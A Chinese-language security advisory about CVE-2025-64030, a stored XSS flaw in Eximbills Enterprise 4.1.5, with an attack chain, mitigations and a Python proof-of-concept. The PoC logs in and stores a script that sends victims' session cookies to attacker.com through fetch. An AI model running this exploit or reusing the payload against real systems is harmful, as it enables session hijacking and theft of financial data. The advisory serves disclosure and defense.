IPBUF安全漏洞报告
English
CVE-2025-64030 CVSS 5.4 中危

CVE-2025-64030 Eximbills Enterprise 存储型XSS漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-64030
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
China Systems Eximbills Enterprise

相关标签

CVE-2025-64030存储型XSSCWE-79Eximbills EnterpriseChina Systems跨站脚本身份验证绕过贸易金融系统Web应用安全JavaScript注入

漏洞概述

CVE-2025-64030是China Systems公司开发的Eximbills Enterprise 4.1.5版本中存在的一个经过身份验证的存储型跨站脚本漏洞。该漏洞源于应用程序对用户输入的TMPL_INFO参数缺乏充分的输入验证和输出编码。攻击者通过低权限账户即可向/EximBillWeb/servlets/WSTrxManager端点提交恶意JavaScript代码,这些代码会被永久存储在服务器端数据库中。当其他用户访问包含该恶意数据的页面时,存储的XSS payload会自动执行,导致攻击者能够在受害者浏览器中窃取会话Cookie、劫持用户账户、执行任意客户端操作或进行钓鱼攻击。由于该漏洞属于存储型XSS,其危害性高于反射型和DOM型XSS,因为恶意脚本会自动传播给所有访问受影响页面的用户。Eximbills Enterprise是一款面向进出口企业的贸易金融管理平台,广泛应用于银行和金融机构,因此该漏洞可能影响大量敏感金融交易数据的安全。

技术细节

漏洞位于Eximbills Enterprise 4.1.5的Web服务组件中,具体在/WSTrxManager端点处理TMPL_INFO参数时发生。攻击者首先需要使用低权限账户登录系统,然后构造包含恶意JavaScript代码的HTTP请求,将XSS payload注入到TMPL_INFO参数中。由于应用程序未对用户输入进行HTML实体编码或输入验证,恶意脚本会被直接存储在后端数据库中。当其他用户(如系统管理员或财务人员)访问相关业务页面时,服务器从数据库中检索并回显这些未经过滤的数据,导致浏览器将其解析为可执行脚本。攻击者可利用此漏洞执行以下操作:1) 通过document.cookie窃取用户会话令牌;2) 使用fetch或XMLHttpRequest API向外部服务器发送敏感数据;3) 在用户不知情的情况下修改页面内容或重定向用户;4) 诱骗用户输入凭据或执行其他危险操作。CVSS 3.1向量显示攻击复杂度低、权限要求低,但需要用户交互才能触发,这使得漏洞利用需要一定的社会工程配合。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统为Eximbills Enterprise 4.1.5,通过分析发现/WSTrxManager端点存在用户输入点
STEP 2
Authentication
攻击者使用低权限账户登录系统,获取有效的会话令牌(Cookie)
STEP 3
Payload Injection
攻击者构造恶意XSS payload,通过TMPL_INFO参数向WSTrxManager端点发送HTTP POST请求,将未经过滤的JavaScript代码注入服务器数据库
STEP 4
Storage
恶意脚本被永久存储在后端数据库中,等待其他用户访问触发
STEP 5
Trigger
受害者(管理员或普通用户)访问包含恶意数据的业务页面,服务器从数据库检索并回显数据
STEP 6
Execution
受害者浏览器解析HTML时将存储的<script>标签内容作为JavaScript执行,触发恶意代码
STEP 7
Impact
攻击者可在受害者浏览器中执行任意操作,包括窃取会话Cookie获取账户控制权、窃取敏感金融数据或进行进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-64030 PoC - Stored XSS in Eximbills Enterprise # Target: /EximBillWeb/servlets/WSTrxManager def exploit_stored_xss(target_url, username, password): """ Exploit for authenticated stored XSS in TMPL_INFO parameter """ session = requests.Session() # Step 1: Login to obtain authenticated session login_url = f"{target_url}/EximBillWeb/login" login_data = { "username": username, "password": password } print("[*] Attempting to login...") response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject malicious XSS payload via WSTrxManager endpoint exploit_url = f"{target_url}/EximBillWeb/servlets/WSTrxManager" # XSS payload - steals cookies and sends to attacker server xss_payload = '''<script>fetch('https://attacker.com/log?c='+document.cookie+'&u='+btoa(document.location));</script>''' exploit_data = { "TMPL_INFO": xss_payload, "action": "save" } print("[*] Injecting stored XSS payload...") response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when any user views the affected page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)

影响范围

Eximbills Enterprise 4.1.5 (Built on 2020-10-30)

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,可采取以下临时缓解措施:1) 限制Eximbills Enterprise的访问权限,仅允许受信任的IP地址访问管理后台;2) 对/WSTrxManager端点实施请求速率限制,防止自动化攻击;3) 启用Web应用防火墙(WAF)规则检测和阻止常见的XSS攻击模式;4) 提醒用户不要点击来源不明的链接,减少社会工程攻击的成功率;5) 定期审查应用日志,排查是否存在异常的JavaScript代码注入行为;6) 考虑临时禁用受影响的TMPL_INFO功能,待修复后再重新启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表